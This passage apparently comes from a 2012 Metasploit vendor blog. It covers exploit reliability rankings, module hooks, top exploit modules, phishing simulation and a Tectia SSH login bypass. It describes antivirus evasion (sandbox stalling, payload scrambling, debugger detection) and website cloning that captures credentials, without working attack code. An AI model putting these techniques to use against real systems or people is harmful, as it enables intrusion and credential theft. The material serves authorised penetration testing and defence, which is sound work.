  • 4 Stars – Great: Safe to use on production systems. The exploit has a default target and either auto-detects the appropriate target or uses an application-specific return address after a version check.
  • 3 Stars – Good: Not recommended for use on production systems. The exploit has a default target and it is the "common case" for this type of software, e.g. English, Windows XP for a desktop app, 2003 for server.
  • 2 Stars – Normal: Not recommended for use on production systems. The exploit is otherwise reliable, but depends on a specific version and can't reliably auto-detect or doesn't autodetect at all.
  • 1 Star – Average: Not recommended for use on production systems.The exploit is generally unreliable or difficult to exploit.
  • 0 Stars – Low: Not recommended for use on production systems. The exploit is nearly impossible to exploit (under 50% of cases) for common platforms.
  • Manual: Not recommended for use on production systems. exploit is so unstable or difficult to exploit and is basically a DoS


Five Tips for Safe Penetration Testing

 

reliability.jpgHere are other tips to keep you and your colleagues happy:

 

  1. Only use exploit modules with a reliability ranking of "Excellent" or "Great" on production systems: You read the blog post - you know why!
  2. Communicate with IT operations: Use only Before testing on production systems, it may be a good idea to talk to the application owners ahead of time to ensure that they’re aware, buy into the process, and alert you if anything has gone awry.
  3. Test during maintenance windows: To play it extra safe, conduct your penetration test during official maintenance windows. We recommend not testing systems that are being serviced since this will make troubleshooting more difficult.
  4. Use the Audit Report to analyze situations: Of course, production systems can also go down without your having had any part in it. To protect you from unwarranted allegations, use the audit report in Metasploit Express or Metasploit Pro to prove when you did and did not touch certain systems.
  5. Throw the kitchen sink at test systems: Testing only with 4 and 5 star modules is great for production but less reliable vulnerabilities can still let a malicious attacker in who doesn’t care about target system stability. If you have a test system that mirrors your production environment, throw everything you’ve got at it to cast a wider net. We still recommend also testing production it may not be a perfect image of your test environment.

 

With Metasploit Pro, you can specify the minimum reliability ranking when starting the exploit process, accelerating your penetration test and reducing the room for human error. Get a fully featured trial now to test it out!

egypt

Introduction to Metasploit Hooks

Posted by egypt Employee Dec 17, 2012

Metasploit provides many ways to simplify your life as a module developer. One of the less well-known of these is the presence of various hooks you can use for processing things at important stages of the module's lifetime. The basic one that anyone who has written an exploit will be familiar with is exploit, which is called when the user types the exploit command. That method is common to all exploit modules. Aux and post modules have an analogous run method. Common to all the runnable modules (aux, post, and exploit) are setup and cleanup, which are called at the beginning and end of a module run, respectively. Setup is meant as a place for modules to read in data files, start services, or any other task that needs to happen one time before running the main body of the module. Cleanup is designed to be run afterwards for restoring settings or for deallocating resources that the module used. For example, the cleanup method might be used to kill any background threads that the module spawned or to delete files dropped on the victim (but see the FileDropper mixin if you need to do that).

 

Some mixins add to the list of available hooks or override exploit to provide a different interface. The first I'd like to mention, and one of the most common, is HttpServer. Its exploit method sets up the server. All (well, almost all) browser exploits include this mixin and define the on_request_uricallback. What you may not know is that HttpServer inherits from TcpServer and therefore has all of these, as well:

  • on_client_connect
  • on_client_data
  • on_client_close

 

In addition, TcpServer has one more obscure hook: primer. For a client-side exploit (i.e., one that includes a server mixin of some sort), you generally define one of the on_* hooks to be called whenever a client event occurs and just let the exploit method start the server and begin dealing with requests from clients. But sometimes you need to do something to trigger that request. An example is a server that can be manipulated into downloading and executing something -- after setting up a server to provide the payload, you need to trigger the download with a request. That's where primer comes in.

 

Here's the relevant code from TcpServer:

  #
  # This mixin overrides the exploit method so that it can initiate the
  # service that corresponds with what the client has requested.
  #
  def exploit

    start_service()
    print_status("Server started.")

    # Call the exploit primer
    primer

    # Wait on the service to stop
    self.service.wait
  end

 

This came up when discussing Juan's recent ibm_director_cim_dllinject module, but it is useful for any module that acts as both a server and a client.

 

If you'd like to dive into writing Metasploit modules, the documentation can help with the various APIs for protocols and exploit techniques: http://dev.metasploit.com/documents/api/

I hear a lot of questions concerning antivirus evasion with Metasploit, so I’d like to share some the information critical to understanding this problem. This blog post is not designed to give you surefire antivirus (AV) evasion techniques, but rather to help you understand the fundamentals of the issue.

 

A Quick Glossary

 

Before we begin, let’s define a few terms. This will be important for understanding some of the things we will discuss.

 

Payload: A payload is the actual code that is being delivered to a victim by an exploit.

 

Signature: In the antivirus world, signatures are the most basic form of detection. A signature is a set of rules or pattern match against code. Signatures are based on known examples of malicious code. For a real life analogy, think of those artists sketches the police put on the news when they are looking for a criminal. They are meant to convey enough detail so that people can easily recognize someone who is known to be dangerous.

 

Heuristics: Heuristics are the attempt to identify malicious code by matching specific behavior instead of exact patterns in that code. It watches the way the code runs, and determines dangerous behavior based on more complex sets of rules.

 

Sandbox: AV sandboxes are protected segments in the operating system, where code can be run safely. It prevents that code from harming important parts of the OS. AV can run malicious code in a sandbox while it uses heuristic detection to determine if it’s safe. Because these sandboxes could seriously slow down operation of the system, it usually only runs for a brief period then releases the code if nothing malicious is detected.

 

Payloads

 

The first thing we need to understand is how payloads work in Metasploit. When talking about payloads, there are two different kinds of payload we need to understand.

 

Singles: A single payload is a piece of standalone shellcode that is generated in one step and that performs a single discrete task, for example the Windows Add User Payload.

 

Staged: Staged payloads are componentized payloads, which are used to get larger more complex payloads to the target when there isn’t enough space in the exploit. Staged payloads are broken down into stages, hence the name.

 

  • Stage 1: Also know as ‘the stager’, is a relatively small bit of shellcode that opens a communication channel back to a payload handler running in Metasploit. The handler then sends the stager back the next stage of the payload, which is placed into memory and executed. Examples of stagers include: bind_tcp, reverse_tcp, reverse_http, and reverse_https among others.
  • Stage 2: Is what will actually be setting up our payload to run in memory. In the case of Meterpreter, this will load the basic Meterpreter skeleton into memory, which downloads the Meterpreter libraries and extensions from Metasploit.

 

Many times when people say that AV is catching Meterpreter, it is actually the stager that is getting flagged. These stagers are fairly recognizable, and are the easiest path for AV to try and block our payloads.

 

Executable Templates

 

In many scenarios, the exploit directly writes the stager into the memory of the application being exploited. However, in some cases Metasploit has to deliver payloads through vulnerabilities other than memory corruption. This is where executable templates come in handy. We cannot simply write a blob of shellcode to the machine and expect it to execute; we need a properly formatted executable file that will handle this for us.

 

An executable template is primarily responsible for one job: It grabs space in memory, writes stager shellcode (or a single payload) into that space, and executes it. These executable templates come in many flavors, but PECoff (executable file) and ELF binaries are the most common.

 

When an executable payload is generated in Metasploit as part of an exploit, or generated through something like MSFVenom, a set of default templates are used. Most of the AV vendors have added static signatures for these default templates. These signatures don’t even look for a payload; they just look for the executable template. Look what happens when we upload one of these empty templates to VirusTotal:

 

1.png

 

 

There is nothing actually malicious in that executable but 33 different AV products pick it up. This is a lazy but effective technique on the AV Vendors’ parts. Since they know a lot of Metasploit payloads will be wrapped in these specific binaries, they create some static signatures and then go on to other things.

 

How do we get around this issue? Well the most obvious answer is to use a different executable template. When using an exploit that leverages an executable payload, there are advanced options available for the use of custom templates. To see this, select the psexec module and hit ‘show advanced’. You’ll see these options under advanced options:

2.png

 

There are a lot of different considerations when selecting an executable template: You could try to use an existing executable that is known to be safe, and try to hide your payload there. Some of the advanced options above exactly do that. For more information on this approach, I also highly recommend Chris Gates’ blog post: Carnal0wnage; Attack Research Blog: Msfencode a Msfpayload Into An Existing Executable

 

You could also write and compile your own template, enabling you to do all sorts of complex and dirty tricks in your template. We’ll talk a little more on this later on when we discuss the dynamic executable option available in Metasploit Pro.

 

The Encoder Myth

 

Many users seem to be confused about what encoders are for: “AV keeps picking up my payload no matter what encoder I try.” Encoders are not meant to evade AV but handle bad characters. When dealing with memory corruption exploits some characters may break your exploit. In most cases, a null byte anywhere in the payload will cause it to fail. Depending on the protocol, other characters may cause unintended results. Common characters for this are space, tab, carriage return, and line feed, among others.

 

Encoders are designed to modify the payload so that it will work for a given exploit, avoiding a known set of bad characters and size limitation. There are many different ways we can go about this.

 

Newer, more advanced encoders actually use a rolling XOR encoding to create polymorphic code. The encoder uses a rolling XOR on the payload creating an encoded data stream. It then prepends a decoder stub to it. When the payload is delivered, the decoder stub triggers first, decoding the payload back into executable shell code in memory. The payload is unrecognizable until it runs. This has, in the past, created the unintended side effect of helping to evade antivirus, and is probably responsible for the creation of the Encoder Myth.

 

However, any decent heuristic detection inside AV will not be fooled by this simple obfuscation. Furthermore the decoder stub itself will tend to be fairly recognizable and could potentially be caught with signature-based detection.

 

Another way to evade AV is through the creation of new polymorphic encoders, obfuscating the code and creating currently unrecognized decoder stubs. This is a stopgap measure, as AV eventually creates signatures for the new decoder stubs, and is still not be particularly effective against heuristic detection.

 

Dynamic Executable Templates in Metasploit Pro

 

Starting with version 4.4, Metasploit Pro offers the option to dynamically generate executable templates when using the psexec module, which can be selected from Advanced Options when running the PSExec module, or Payload Settings in the Bruteforcer when selecting SMB.

3.png

The Dynamic EXE Option for PSExec

 

4.png

 

Dynamic EXE Option in the Bruteforcer

 

A dynamic EXE can also be generated manually using the exploits/pro/windows/dynamic_exe module. This will generate a dynamic exe on Metasploit Pro’s local file system. The payload can then be delivered by various out-of-band methods.

 

5.png

 

The purpose of the dynamic executable generator is to avoid AV detection. It generates the C code for the executable template, and includes the payload directly, instead of injecting it after the template has been generated. The C code is written in a random, on-the-fly fashion and compiled with Metasm. It uses several techniques to try and evade AV.

 

Dynamic Nature

The code is completely different every time it is generated, using randomized procedurally created C functions, which are then assembled into randomized call trees. This means that the code is different every time; the execution flow also doesn't fall into any predictable patterns either. Metasploit Pro initializes random variables and scrambles them with other, required variables so that the significant variables are never mapped into the same place in memory. The actual functions are different every time, the execution flow is different every time, and the memory layout is different every time. This makes it virtually impossible for AV vendors to create a static signature for detection of these payloads.

 

You could say we are exploiting the fundamental flaw with signature based detection. The amount of work to maintain signatures becomes overwhelming, and signatures are quickly outdated.

 

Appear harmless

The randomly generated C functions also fill the call tree with completely harmless, innocuous operations, which is especially important for sandboxing. As you already know, sandboxes run for a limited time and eventually release the payload. By performing only legitimate actions during that time, the sandbox will have no choice but to release our payload, at which point we can safely execute the actual payload.

 

Hide the payload

You are probably tired of seeing the word random, but here we go again: Metasploit Pro actually randomizes its payload in memory. The payload is read into memory completely scrambled. We then unscramble the payload only right before we execute it. This scramble is randomized each run, making it very hard to detect the payload sitting in memory.

 

Detect debuggers

Like with AV, the code can detect debuggers and stop any malicious activity, making reverse engineering of the payload much more difficult (though far from impossible).

 

Dynamic run-time linking

 

Antivirus solutions also often look at the imports table of the executable. Metasploit Pro evades detection through dynamic runtime linking of all required functions, keeping the imports table almost completely empty. It also makes it harder to recognize what functions the code is actually calling.

 

These methods make life difficult, though not impossible, for reverse engineers and antivirus solutions to analyze Metasploit payloads. In fact, Metasploit does get caught by some AV solutions, with detection rates varying from run to run.

 

Antivirus evasion is never done. We will never be satisfied with what we’ve achieved. Watch this space for updates on the arms race. We intend to work hard to stay a few steps ahead.

 

Further Reading

This has been a quick, high level, overview of some of the concepts. For more detailed work, check out some of these links:

 

Why Encoding Does not Matter and How Metasploit Generates EXEs; Thoughts on Security

Facts and myths about antivirus evasion with Metasploit

Pentest Geek; Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

 

Metasploit 4.5 has been out for a few days, so it's high time for an update. Let's hop to it!

 

1000th Exploit: Freefloat FTP WMI

 

I often hear the question, "How do I get started on writing exploits?" Well, I'd like to point you to Metasploit's 1000th exploit (future Hacker Jeopardy contestants, take note): On December 7, 2012, Wei "sinn3r" Chen and Juan Vazquez committed FreeFloat FTP Server Arbitrary File Upload. Now, as far as I can tell, FreeFloat FTP server exists almost wholly as a target for exploit writers -- just start typing "Freefloat FTP" in your favorite search engine, and you'll see what I mean. If you take a moment to read this module, you'll notice that this exploit is actually just exercising the default functionality of FreeFloat FTP Server -- the user login is optional, the default location for PUT is C:\, and the de-facto anonymous user can just write anywhere.

 

So, you'll notice that there's no fancy memory corruption, DEP bypassing, ROP chaining, or anything like that. If history is any guide, such vulns exist in this software, so if you are a newbie exploit dev, take a look.

 

More Security Targets

 

Peter "Mudge" Zatko had a great slide as part of his DARPA fast-track talk which illustrates the lines of code in security software versus lines of exploit code -- and your average enterprise security solution clocks in at about 10 million lines of code. Metasploit is, of course, no exception to this rule -- we've got plenty of attack surface. So, in addition to the OpenVAS scanning we shipped in November, the 4.5 update also includes scanners for Nessus, Nexpose, and (gasp!) Metasploit. These are all provided courtesy of community contributor Vlatko @K0st Kosturjak, who apparently has it in for security software. If we're not covering your favorite vulnerability management solution, bug K0st and give him access to your infrastructure, and I'm sure he'll hook you up. While these modules aren't technically part of this week's update -- they were slipped into 4.5, and I just wanted to be sure that you all were aware of these new scanning and bruteforcing capabilities.

 

New Release Engineer

 

Hey, speaking of the Metasploit 4.5, I also wanted to take a second to call out another secret new component -- our new release engineer, Brandon @blt04 Turner. This guy is maniacal about release quality, and was hired just before this quarterly release in a true trial-by-fire fashion. Brandon is amazingly capable with a deep background in both Ruby and Git, and is already an integral part of the core Metasploit team,. So, welcome to Brandon, and thanks for taking up the huge responsibility of getting our releases and updates out the door!

 

New Modules

 

This week's haul of new modules is listed below -- for details, check out Metasploit's Exploit Database.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

Exploit Database (DB)

This month was a quiet one on the Metasploit Top Ten List. Each month we compile a list of the most searched exploit and auxiliary modules from our exploit database. To protect user's privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.

 

The only new addition to the list this month is an old Apache Killer exploit. Read on for the rest of November's exploit and auxiliary modules with commentary by Metasploit's own Tod Beardsley.

 

1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Same place as last month.

2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Same place as last month.

3.  Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Same place as last month.


4.  Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Same place as last month.

5. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. Same place as last month.

6. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft’s Security TechCenter. Up two places from #8 last month.

7. Apache mod_isapi <= 2.2.14 Dangling Pointer: Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular. Up three places from #10 last month.

8. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Not sure why this module is still popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Down one place from #7 last month.

9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Down three places from #6 last month.

10. Apache Range header DoS (Apache Killer): This old module might be appearing on this month's list because the vulnerability was discovered by KingCope who just dropped a ton of 0day (see the recent blog post, What Would Trinity Do With KingCope's SSH 0day? for an example). Perhaps someone (or a bunch of someones) is researching KingCope's past contributions? Other than that, I can't see why there would be sudden interest in a year-old Apache DoS. New to the list this month.

If you want to use any of these exploits right now, you can download Metasploit for free.

todb

Metasploit Hits 1000 Exploits

Posted by todb Employee Dec 7, 2012

Along with today's 4.5 release, Metasploit hit a thousand exploits.

1000exploits-tweet.png

So, what does that mean? Well, let's take a look, historically.

 

When Metasploit 1.0 was released on October 6, 2003, it boasted all of 11 exploits, according to this mailing list post. Now, this is 9 years ago, so an announcement on a mailing list of more than one exploit was pretty novel, and "a ton of new ones" were "on the way."

 

About six months later, Metasploit 2.0 was released. This April 7, 2004 edition of Metasploit had 18 exploits, a 63% jump. Not bad for 2004 -- that was practically one new exploit a month from one project! These guys were clearly Serious Business.

 

Over the next three years, Metasploit attracts the attention of basically everyone in the security research community, HD begins and ends the Month of Browser Bugs, and incidentally the Framework gets completely rewritten in Ruby (up until now, the Metasploit Framework had been written in Perl). Upon Metasploit 3.0's release on March 27, 2007, the project commands 177 exploits. That's 159 new exploits over about 36 months, right around 4.4 exploits per month, so let's just round it out and figure this period saw about one new exploit per week. Things are picking up steam.

 

On August 1, 2011, Metasploit 4.0 was released. In the interim, the Metasploit Framework got picked up by Rapid7 (thanks guys!), so people started getting paid, full-time, to write and help others write exploits. We have a couple products come up in this time -- Metasploit Community and Metasploit Pro, so we have a whole new slew of users. This release sees 716 exploits, at least according to commit 65a3c0. Since 3.0, 716 exploits means 557 new exploits. The lag from 3.0 is four years and four months -- 1588 days, to be precise, right about 227 weeks. (557 / 227) is right about 2.4 exploits per week over this scale, or twice as many as the jump from 2.0 to 3.0.

 

That brings us to today -- December 7, 2012. Using the 1000 exploits figure as of Metasploit 4.5, it took us 70.5 weeks to pick up those 284 new exploits. That's an average of four new exploits a week since 4.0's release. I guess we don't work on Fridays. Incidentally, we have 562 auxiliary modules and 164 post modules as of this moment, too, and those are no small feat, either, and there's lots of interesting and important work being done there, too.

 

1000-screen.png

 

The growth of Metasploit Framework and the Metasploit products over the years have been amazing and humbling. Anyone can see that we don't write all or even half of these exploits -- they come from researchers, hobbyists, and hackers from around the world, and all of you had the thought to share your knowledge, skill, and expertise with us. Thank you for that. Thanks also to Rapid7 for recognizing the power and positivity of the open source security movement. I'm honored to be a part of this project, and can't wait to clock another thousand exploits.

Metasploit-social-engineering-report.png

You can now get a better handle on your organization’s exposure to phishing attacks: Metasploit Pro now gives you quick insight on risks and advice on how to reduce them. With today's new release version 4.5, Metasploit Pro's social engineering features are no longer just for penetration testers but add a lot of value for more generalist security professionals. A handful of our customers already tested these new capabilities in a technical preview and were very excited about the experience, all rating it between 8 and 9 out of 10 points.

 

With Metasploit 4.5, you can control your organization’s phishing exposure in three easy steps:

  1. Go Phish: Simulate a phishing attack to get a fast overview of your risk exposure.
  2. Identify weaknesses: Spot where your organization is the most vulnerable.
  3. Control risks: Provide targeted security awareness training and tweak technical controls.

 

Phishing is often the initial attack vector of a data breach, for example in the recent South Carolina Department of Revenue data breach. You may already be conducting end-user trainings and implementing technical security controls to protect your data. However, do you know how widely your organization is exposed to phishing and which countermeasures actually reduce risk?

 

With Metasploit Pro, you can now measure the effectiveness of both security awareness trainings and technical security controls, and provides metrics and recommendations on each step in the chain of compromise. For example, a click-through on an email points to a lack in security awareness whereas an exploited browser indicates a technical problem. Reports contain both overview statistics and details about the risk level of each user and host.

 

Metasploit-social-engineering-manage-campaigns.pngYou can direct users who fell for the simulated phishing email to an online training, where they can learn to spot and correctly handle phishing emails in the future. Alternatively, administrators can consult the Metasploit social engineering report to follow up with individuals by email or in person.

 

Attackers often set up fake websites for phishing. With Metasploit Pro, you can easily clone a website – just enter the URL. Metasploit automatically changes forms to capture user input, and adds client-side exploits - if desired. You can also test end-user security awareness by creating malicious files on USB flash drives that can be left in the company parking lot or restrooms as bait. Metasploit’s social engineering functionality can also be used for penetration testing engagements to compromise one or more computers as a starting point for a more comprehensive security assessment. If you are a penetration tester familar with Metasploit's social engineering campaigns, you will be very happy about the usability improvements we've added in this release.

 

Unlike alternative penetration testing solutions, Metasploit Pro’s social engineering reports provides conversion rates at each step in the campaign funnel, such as how many people clicked through a phishing email, how many entered username and password on a fake website, and how many systems were compromised. Only Metasploit provides advice on how to address risk at each step in the social engineering funnel.

 

While some phishing simulation services can only measure user awareness, Metasploit Pro can also measure the effectiveness of technical controls. If desired, phishing web pages or email attachments can contain exploits that test patch levels, security configurations, and network-based defenses.

 

Here's what Shane Clancy, Principal at Crosslin Technology, said about the new release after they tested it as part of the tech preview:

 

“Within the world of information security, it is well understood that prevention is less expensive than recovery from a compromise.  What doesn’t appear to be as clearly understood is the return on an investment for something like Metasploit.  Instead of spending money and valuable time on an array of tools that will indicate that vulnerabilities might exist within an environment, it is possible to actually validate which weaknesses truly exist and begin the remediation process with a single software package.  As an example, phishing messages are often attack vectors used by attackers and are frequently the subject of annual information security training – yet they still continue to prove effective for the attackers.  Metasploit allows Crosslin Technologies to provide our customers with real-world examples of how attacks, including phishing, are executed against their environments and moves the remediation approach from an academic subject in an annual training presentation to tangible lessons learned.

 

“When information security is viewed as a means to manage an organization’s risk, as opposed to simply meeting minimum compliance standards, the value presented by Metasploit and its ability to enable measurable change in the security posture of an organization is unmistakable.”

 

Want to measure how vulnerable your organization is to phishing attacks? Download the fully featured Metasploit Pro trial and run a phishing campaign today - you'll get the results within a couple of hours of sending out the emails!

 

Today's Metasploit 4.5.0 release also includes 95 new exploits, 72 new auxiliary modules, and 13 new post modules over the 4.4.0 release, for a grand total of 180 new modules, all of which are available in all Metasploit editions and detailed in the release notes.

Citizens of the Matrix,

 

Today, I'd like to inform you that there is a Tectia SSH 0day vulnerability discovered by security researcher "Kingcope"... or really, we suspect his real name is Mr. Thomas Anderson.  The vulnerability itself allows any remote user to bypass login if a USERAUTH CHANGE REQUEST is sent before password authentication, and then gain access as root.  Please note as of now, there is no official patch from Tectia (but soon), therefore we highly encourage users to secure their Tectia SSH server to prevent possible breaches in the near future.  According to Tectia, the recommended workaround is:

 

...disabling “old style” password authentication on affected versions; keyboard interactive, GSSAPI and public key authentication methods are not vulnerable.

 

According to our research, only a small set of servers are possibly affected by this, but it is unclear how many may have been compromised.  We have, however, captured some surveillance footage of Mr. Anderson's known associate breaking into a secret/unknown location using this SSH 0day:

 

trinity_hacking.png

 

Screen shot 2012-12-04 at 12.28.15 PM.png

 

If you'd like to validate your network's defenses in order to prevent such unfortunate events from happening, please feel free to download our Metasploit tool to do so.  And then take appropriate counter-measures.  If you habitually use Metasploit Framework, you may just run the msfupdate program to obtain this module for testing. Otherwise, it'll be in the next regular Metasploit Pro update.

 

Sincerely yours,

 

Agent Smith sinn3r.

 

=================

 

Update:

Filter Blog

By date: By tag: